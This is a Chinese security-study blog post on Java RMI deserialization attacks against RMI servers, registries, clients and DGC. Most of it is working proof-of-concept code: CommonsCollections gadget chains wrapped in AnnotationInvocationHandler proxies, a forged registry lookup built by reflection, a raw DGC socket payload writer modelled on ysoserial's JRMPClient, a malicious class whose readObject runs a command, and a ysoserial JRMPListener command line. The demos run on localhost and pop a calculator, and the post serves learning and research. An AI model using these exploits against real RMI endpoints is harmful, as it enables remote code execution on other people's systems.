RMI攻击(二)


前言

在第一篇的时候已经分析了RMI整个调用的流程,所以在这里就写一下攻击的流程

根据第一篇的分析

我们已知

攻击服务端

1.UnicastServerRef#dispatch -> UnicastServerRef#unmarshalValue->客户端攻击服务端

image-20230518160745279

2.UnicastServerRef#oldDispatch->DGCImpl_Skel#dispatch->客户端攻击服务端

image-20230518160918311

image-20230518161002709

攻击注册中心

UnicastServerRef#oldDispatch->RegistryImpl_Skel#dispatch->客户端/服务端攻击注册中心

这个路线和攻击服务端的DGCImpl_Skel是一样的,只不过skel不同罢了

image-20230518161205087

攻击客户端

1.RegistryImpl_Stub#lookup->注册中心攻击客户端

image-20230518162838720

假如注册中心返回的是恶意对象,就可能在反序列化的时候被攻击

2.UnicastRef#invoke->StreamRemoteCall#executeCall->注册中心/服务端攻击客户端

image-20230518161821040

image-20230518161830443

理论上只要调用invoke方法的地方都可以被攻击,executeCall是真正处理网络请求的地方,如果请求后返回的内容的是TransportConstants.ExceptionalReturn这个错误,就会进行反序列化

3.DGCImpl_Stub#dirty->服务端攻击客户端

本质和2是一样的,只不过是通过DGCImpl_Stub调用了invoke方法

image-20230518164558344

4.UnicastRef#invoke->UnicastRef#unmarshalValue->服务端攻击客户端

image-20230518165513594

攻击实现

在前言里我们梳理了几种攻击的路径,接下来就来实际看看攻击方法。

我们先看一下在没有java安全机制的情况下的攻击实现

攻击服务端

① 恶意服务参数

攻击路线:UnicastServerRef#dispatch -> UnicastServerRef#unmarshalValue

在服务端接收到客户端的参数之后,会对服务端需要接受的参数类型进行判断

image-20230519134149753

假设不是基本类型,就会对传过来的内容进行反序列化,这里就可以成为我们的攻击点

不过这个攻击有个条件,要求服务端必须接收与传入的poc类型一致的参数,最通用的就是Object类型,且客户端必须知道服务端实现的接口内容,否则的话不会到unmarshalValue就会报错

然后就只需要保证传个能反序列化的poc且服务端有对应依赖就行了

image-20230519141121767

我这里传了个cc1的链,代码可以看cc链的那篇文章

image-20230519141443549

但是如果只能攻击接收Object类型的接口,那本来就不大的攻击面就更小了,有没有办法能够攻击接收String类型的参数呢

答案是可以的

一般情况下,server端和client端的接口应该是一致的,而当不一致时,client端会报错

image-20230519163747579

根据报错可以知道,在UnicastServerRef.dispatch里的这一句是负责判断方法是否存在的

image-20230519163910265

这句话会调用hashmap的get方法,然后获取指定 key 对应对 value

因为这个op是我们传进去的内容的key,和server端不同,自然不能查找到method,导致客户端报错。

那就是说如果我们能够控制这个key,那么即使我们传入的是其他东西,他也会找到method,然后继续执行这段程序,然后在unmarshalValue里进行反序列化

这里有四种方法

  • 通过网络代理,在流量层修改数据
  • 自定义 “java.rmi” 包的代码,自行实现
  • 字节码修改
  • 使用 debugger

Java Agent不会,自定义 “java.rmi” 包的代码不会,流量层修改数据不会

这里我就只用debugger的方式改了

首先,虽然通过这种方式在服务端不接收Object类型参数的时候也可以把我们的poc传过去,但是,在改的时候必须保证客户端也需要有服务端所对应的方法。比如服务端是接收String类型的sayHallo方法,那么客户端也要有这个方法才能改成功

在客户端的RemoteObjectInvocationHandler类里的invokeRemoteMethod方法处下断点

image-20230519165201947

改之前

image-20230519170948543

改之后

image-20230519171050931

image-20230519171115833

image-20230519171129010

② 动态类加载

动态类加载是RMI的一个特性

如果客户端在调用时,传递了一个可序列化对象,这个对象在服务端不存在,会抛出ClassNotFound 的异常,但RMI支持动态类加载,若设置了java.rmi.server.codebase属性,则会尝试以该地址作为额外的classpath获取.class并加载和反序列化,可以使用以下两者方式指定

  • System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:7777/");
  • -Djava.rmi.server.codebase="http://127.0.0.1:9999/"

但是由于一些安全限制,这个攻击方式还有一些其他条件

  1. 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy,这在后面的利用中可以看到。
  2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21版本之后开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

再来几点其他的东西

  • 动态类加载机制不区分角色,在三端中都可以触发
  • 需要在触发动态类加载机制的一端设置SecurityManager,否则会报错。前面也提到了
  • 需要在触态类加载机制的一端设置java.rmi.server.useCodebaseOnly=false,该方法用于限制该机制是否允许远程加载。
  • 设置java.rmi.server.codebase为目标类远程地址,不是在触发端设置的,触发端并不知道地址,而是Client端提供的
  • 恶意代码需要放在恶意类的static块或readObject中(回顾原生反序列化)

首先,这玩意儿得先设置Java安全策略

你得先写一个xxx.policy

grant {
    permission java.security.AllPermission;
};

这是最宽松的安全策略,java基本上可以干所有事

然后因为是攻击的是服务端,所以服务端还要使用这个安全策略

还要关闭useCodebaseOnly

System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 	
System.setProperty("java.rmi.server.hostname", "127.0.0.1");//指定RMI服务器的主机名为127.0.0.1
System.setProperty("java.security.policy", "D:\\ctftools\\ctfscript\\javastudy\\RMIServer\\server.policy");
if (System.getSecurityManager() == null) {
            System.out.println("Setup SecurityManager");
            System.setSecurityManager(new SecurityManager());//设置安全管理器

这个设置安全管理器一定要在设置安全策略后边,真nm的,查了我一下午

服务端的设置就完成了

完整代码是

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        if (System.getSecurityManager() == null) {
           System.out.println("Setup SecurityManager");
           System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 			                                    System.setProperty("java.rmi.server.hostname", "127.0.0.1");
            System.setProperty("java.security.policy", "D:\\ctftools\\ctfscript\\javastudy\\RMIServer\\server.policy");
            System.setSecurityManager(new SecurityManager());

        }

        System.out.println("Security Manager: " + System.getSecurityManager());
        System.out.println("Security Policy: " + System.getProperty("java.security.policy"));

        IRemoteObjImpl iRemoteObj = new IRemoteObjImpl();

        // 设置安全策略后再创建注册中心
        LocateRegistry.createRegistry(1099);

        Naming.bind("rmi://127.0.0.1:1099/iRemoteObj", iRemoteObj);
        System.out.println("Registry运行中......");
    }
}

然后再准备一个恶意类,因为你要借助的是动态类加载,所以恶意类的恶意代码只能写在静态代码块里,或者是readObject里

public class evil implements Serializable {

    static {
        try {
            System.out.println("success");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private void readObject(java.io.ObjectInputStream s)
            throws IOException, ClassNotFoundException, IOException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        System.out.println("readObject");
        Runtime.getRuntime().exec("calc");
    }
}

客户端

public class RMIClient implements Serializable {
    public static void main(String[] args) throws Exception{
        IRemoteObj remoteObj = (IRemoteObj)Naming.lookup("rmi://127.0.0.1:1099/iRemoteObj");
        Object evil = new evil();
        String s = remoteObj.sayHello(evil);
    }
}

我们首先来测试一下

把evil这个文件放到服务端

然后执行

image-20230519212319623

简单跟一下

image-20230519214503718

还是unmarshalValue那地方对客户端传过来的参数做反序列化的时候导致的类加载和反序列化(没跟出来怎么进行了类加载,虽然确实调用了resolveClass进行了类加载,但是没看出来咋跳过去的,就贴个执行的图吧

image-20230519220617845

然后接下来我们把这个evil文件从服务端删掉

这时候再执行客户端会报错

image-20230519220807873

再配置一下客户端

-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://192.168.1.104:8888/

或者用代码

System.setProperty("java.rmi.server.useCodebaseOnly", "false");        System.setProperty("java.rmi.server.codebas", "http://127.0.0.1:8888/");

然后用python在字节码的路径下面开个8888端口的服务

image-20230519222257800

这里还是报错了,但是看一眼服务器

image-20230519222325440

说明服务端已经请求了这个网址,只不过因为路径问题所以没有访问到。所以换个路径

image-20230519222502503

成了

这个漏洞其实感觉利用面也挺小的,现在的服务应该大部分都是java8了,而这些配置的要求很难实现

③ 替身攻击

看其他师傅的博客里说的一种,但是感觉有点鸡肋了

在讨论对 Server 端的攻击时,还出现了另外一种针对参数的攻击思路,我称其为替身攻击。依旧是用来绕过当参数不是 Object,是指定类型,但是还想触发反序列化的一种讨论。

大体的思路就是调用的方法参数是 HelloObject,而攻击者希望使用 CC 链来反序列化,比如使用了一个入口点为 HashMap 的 POC,那么攻击者在本地的环境中将 HashMap 重写,让 HashMap 继承 HelloObject,然后实现反序列化漏洞攻击的逻辑,用来欺骗 RMI 的校验机制。

这的确是一种思路,但是还不如 hook RMI 代码修改逻辑来得快,所以这里不进行测试。

攻击注册中心

再来看攻击注册中心

根据前言的内容,攻击注册中心的路径是这条

UnicastServerRef#oldDispatch->RegistryImpl_Skel#dispatch->客户端/服务端攻击注册中心

其实对于注册中心而言,他根本就不需要知道哪个是客户端,哪个是服务端,他只需要知道有人调用了bind和lookup这些方法就行了

调用bind的就是服务端要绑定方法,调用lookup就是客户端要查找方法

image-20230519133544155

但是由于参数的问题lookupunbind的参数类型都是String,这在运行前编写代码时限制了我们传入恶意Object。不过可以跟攻击服务端的时候的方式一样,去绕过这个

调用bind&rebind

bind和rebind这两个实际上就是服务端攻击注册中心,但是利用价值不是很高,因为高版本java的服务端和注册中心本来就在一起,因此不需要去打

还有一个问题就是,如果服务端和客户端在一起,那可以直接通过Registry registry = LocateRegistry.createRegistry(1098)的方式获取注册中心,然后进行绑定,也就不需要借助stub进行代理然后通信了,可以直接和skel通信,那么在skel里,由于反序列化的是网络通信传过来的东西,现在没网络通信了,自然没东西进行反序列化了

所以必须使用Registry registry = LocateRegistry.getRegistry(1098);来获取注册中心

poc

public class RMIServer {
    public static void main(String[] args) throws IOException, AlreadyBoundException, NoSuchFieldException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        //创建远程对象
        IRemoteObjImpl iRemoteObj = new IRemoteObjImpl();
        //创建注册中心
        LocateRegistry.createRegistry(1098);
        //获取注册中心
        Registry registry = LocateRegistry.getRegistry(1098);
        //这就是个单纯的cc1的链
        Object o = cc1.cc1exp();
        //下面部分就是创建一个Remote类型的动态代理,因为bind的第二个参数要求传入Remote类型的
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        HashMap<String, Object> map = new HashMap<>();
        map.put("ethe",o);
        declaredConstructor.setAccessible(true);
        InvocationHandler o1 = (InvocationHandler)declaredConstructor.newInstance(Override.class,map);
        Remote remote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, o1);
        registry.bind("iRemoteObj",remote);
//        Naming.bind("rmi://127.0.0.1/iRemoteObj",iRemoteObj);
    }
}

这里我本来想让这个cc1的文件直接继承Remote接口的,但是发现即使继承了,由于他返回的是个HashMap,也不能让HashMap强转成Remote,而要让HashMap也继承Remote接口的话就只能改源码了

image-20230520122455415

调用lookup&unbind

这两个只能传入String类型的参数

由于这俩是客户端调用的,所以他们肯定是要到RegistryImpl_Stub里的lookup方法

image-20230520123301488

由于参数var1只能为String类,所以我们需要自己伪造实现lookup方法,并在var3.writeObject(var1);中将我们的恶意类传入。

首先获取ref对象,以下是RegistryImpl_Stub的继承图

image-20230520123508569

ref是RemoteObject的属性,我们可以通过反射调用来获取

image-20230520123540259

Class<?> RO = Class.forName("java.rmi.server.RemoteObject");
Field declaredField = RO.getDeclaredField("ref");
declaredField.setAccessible(true);
RemoteRef ref = (RemoteRef)declaredField.get(registry);

然后再去获得super.ref.newCall的参数operations

方式一样

Class<?> RegistryImpl_Stub = Class.forName("sun.rmi.registry.RegistryImpl_Stub");
Field operations_field = RegistryImpl_Stub.getDeclaredField("operations");
operations_field.setAccessible(true);
Operation[] operations = (Operation[])operations_field.get(registry);

然后就是伪造这一部分

image-20230520125250620

完整poc为

public class RMIClient {
    public static void main(String[] args) throws Exception {
//        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:7777/");
//        evil evil = new evil();
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1097);
//        IRemoteObj remoteObj = (IRemoteObj) registry.lookup("iRemoteObj");
	//获取ref
        Class<?> RO = Class.forName("java.rmi.server.RemoteObject");
        Field declaredField = RO.getDeclaredField("ref");
        declaredField.setAccessible(true);
        RemoteRef ref = (RemoteRef)declaredField.get(registry);
     //获取 operations  
        Class<?> RegistryImpl_Stub = Class.forName("sun.rmi.registry.RegistryImpl_Stub");
        Field operations_field = RegistryImpl_Stub.getDeclaredField("operations");
        operations_field.setAccessible(true);
        Operation[] operations = (Operation[])operations_field.get(registry);

        Object o = cc1.cc1exp();
//伪造lookup
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(o);
        ref.invoke(var2);
    }
}

image-20230520131630621

攻击完成,这其实就是绕过系统自带的lookup方法,自己写一个lookup,然后就可以随意传参了。

而且只需要重写到super.ref.invoke(var2);就行,毕竟我们只需要在注册中心的服务端调用RegistryImpl_Skel#dispatch然后执行我们的恶意代码。

攻击客户端

对于客户端来说,有两个反序列化并可以被利用的地方

  • 从 Registry 端获取调用服务的 stub 并反序列化
  • 调用服务后获取结果并反序列化

恶意Server Stub

这个和服务端攻击注册中心的方式差不多(整体上来看

在服务端攻击注册中心的地方我们提到,由于服务端和注册中心在一起,倘若不使用getRegistry,则反序列化不会触发。

但是现在来看,如果不触发,Client端调用lookup进行服务发现时,会拿到Server端在Registry端注册的恶意代理对象并进行反序列化。

所以代码都是差不多的,只是直接用LocateRegistry.createRegistry(1098);获取注册中心就行

客户端就正常客户端

服务端代码为

public class RMIServer {
    public static void main(String[] args) throws IOException, AlreadyBoundException, NoSuchFieldException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        //创建远程对象
        IRemoteObjImpl iRemoteObj = new IRemoteObjImpl();
        //创建注册中心
        Registry registry = LocateRegistry.createRegistry(1097);
        Object o = cc1.cc1exp();
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        HashMap<String, Object> map = new HashMap<>();
        map.put("ethe",o);
        declaredConstructor.setAccessible(true);
        InvocationHandler o1 = (InvocationHandler)declaredConstructor.newInstance(Override.class,map);
        Remote remote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, o1);
        registry.bind("iRemoteObj",remote);
    }
}

image-20230520142100636

这也就是RegistryImpl_Stub#lookup->注册中心攻击客户端的路线

恶意Server端返回值

根据我们之前的一些分析,我们知道,服务端会反序列化客户端传过来的参数,导致了恶意服务参数攻击。

同样,客户端也会反序列化服务端返回的值,造成恶意Server端返回值攻击

这里客户端和服务端都可以用正常的代码,修改实现类就行

public Object sayHello(String a) throws IOException, NoSuchFieldException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
    String name = this.getClass().getName();
    System.out.println(a);
    Object o = cc1.cc1exp();
    return o;
}

image-20230520144136035

动态类加载

和攻击服务端的一样,把角色换过来就好了,感觉没啥说的

攻击DGC

在前言里我们还提到了用DGCImpl_Skel#dispatch和DGCImpl_Stub#dirty攻击服务端和客户端的路线

它的通信过程是Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_Stub ,Client 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使用 RegistryImpl_Skel 来处理

DGC客户端打DGC服务端

DGC之间的通信也是借助序列化和反序列化的,我们只需要构造一个DGC通信并在指定的位置写入序列化恶意类,经由DGC传输到DGC服务端,从而触发反序列化。

同时,由于 DGC 通信和 RMI 通信在 Transport 层是同样的处理逻辑,只不过根据 Client 端写入的标记ObjID(在初始化LiveRef的时候创建,DGC的ObjID是特定的new ObjID(2);)来区分是是由 RegistryImpl_Skel 还是 DGCImpl_Skel 来处理

(这块没太懂,主要是没找到区分是是由 RegistryImpl_Skel 还是 DGCImpl_Skel 来处理的代码)

image-20230520163947253

然后思路就是通过控制id值,让服务端误认为这个是DGC的东西,然后进入DGCImpl_Skel 里去触发漏洞点

public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
  InetSocketAddress isa = new InetSocketAddress(hostname, port);
  Socket s = null;
  DataOutputStream dos = null;
  try {
    // 在TCP(Transport)层获取连接
    s = SocketFactory.getDefault().createSocket(hostname, port);
    s.setKeepAlive(true);
    s.setTcpNoDelay(true);

    // 取出数据流OutputStream,这里对着类似的writeObject方法来看
    OutputStream os = s.getOutputStream();
    dos = new DataOutputStream(os);

    // 写一些TCP传输的必要标志
    dos.writeInt(TransportConstants.Magic);
    dos.writeShort(TransportConstants.Version);
    dos.writeByte(TransportConstants.SingleOpProtocol);
    dos.write(TransportConstants.Call);

    @SuppressWarnings ( "resource" )
    // 下面才是真正的对应到代码层面,从TCPTransport#handleMessages方法开始
    final ObjectOutputStream objOut = new MarshalOutputStream(dos);

    // 写ObjID,2代表DGC,后面接着3个代表随机数,随便写
    // 对应sun.rmi.transport.Transport#serviceCall方法中的
    // var39 = ObjID.read(var1.getInputStream());
    objOut.writeLong(2); // DGC
    objOut.writeInt(0);
    objOut.writeLong(0);
    objOut.writeShort(0);

    // 选择DGCImpl的操作,dirty或clean都可以
    // 对应sun.rmi.server.UnicastServerRef#dispatch方法中的
    // int var3 = var39.readInt();
    objOut.writeInt(1); // dirty

    // 写DGC接口的hash,值就是-669196253586618813L
    // 对应sun.rmi.server.UnicastServerRef#oldDispatch中的
    // var4 = var18.readLong();
    // 以及sun.rmi.transport.DGCImpl_Skel#dispatch中的判断
    objOut.writeLong(-669196253586618813L);

    objOut.writeObject(payloadObject);

    os.flush();
  }
  finally {
    if ( dos != null ) {
      dos.close();
    }
    if ( s != null ) {
      s.close();
    }
  }
}

原理懂了,代码写不出来img

抄一下其他人的做的图

20200622140434-3edd6486-b44e-1

这个攻击手段实际上就是 ysoserial 中的 ysoserial.exploit.JRMPClient 的实现原理

DGC其实客户端、注册中心、服务端都能打,但是因为只有注册中心的端口是确认的,所以一般都是打注册中心

image-20230520165828619

调用链

image-20230520170306699

ysoserial里用的是使用socket重写了JRMP协议,这里还有另一种方式,就是获取DGCImpl_Stub对象,重写dirty方法,在DGCImpl_Skel#dispatch中触发反序列化,跟打注册中心的差不多

就跟客户端攻击注册中心的时候重写lookup差不多

DGC服务端打客户端

同样的道理可以用DGC服务端打客户端,在DGCImpl_Stub触发反序列化。但是既然最后调用的都是call.executeCall();,那为啥不用UnicastRef#invoke->StreamRemoteCall#executeCall->注册中心/服务端攻击客户端这条路呢。这篇没提这条链,是因为他还有更重要的使命(

攻击JRMP客户端

前面分析过,只要客户端的stub发起JRMP请求,就会调用UnicastRef#invoke,也就会调用StreamRemoteCall#executeCall,假设在异常处理的时候满足了那个判断,就会导致被反序列化攻击。这里想实现攻击需要自己实现一个恶意服务端,把返回的异常信息改成payload,其实这就是ysoserial里面的exploit/JRMPListener实现的功能。具体实现大概就是从TCPTransport#run0拷过来,没用的删删,改改最后处理的地方。
具体使用是先启动监听

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 calc.exe

然后启用客户端去向这个恶意服务端端发起请求

image-20230521142412750

参考链接

https://www.freebuf.com/vuls/346762.html

https://xz.aliyun.com/t/7930

https://yagsheg.com/2021/11/29/RMI-%E6%94%BB%E5%87%BB%E6%96%B9%E5%BC%8F%E5%A4%8D%E7%9B%98%E6%80%BB%E7%BB%93/

https://goodapple.top/archives/520

https://su18.org/post/rmi-attack/

RMI反序列化漏洞之三顾茅庐-攻击实现 | Halfblue

Java 安全-RMI学习总结 (townmacro.cn)

Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上) (seebug.org)


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
 上一篇
记事簿 记事簿
单独开篇文章记一下自己每天都干嘛了,督促一下自己,虽然现在记好像有点晚了hhh
2023-05-19 Ethe
下一篇 
2023-05-07 Ethe
  目录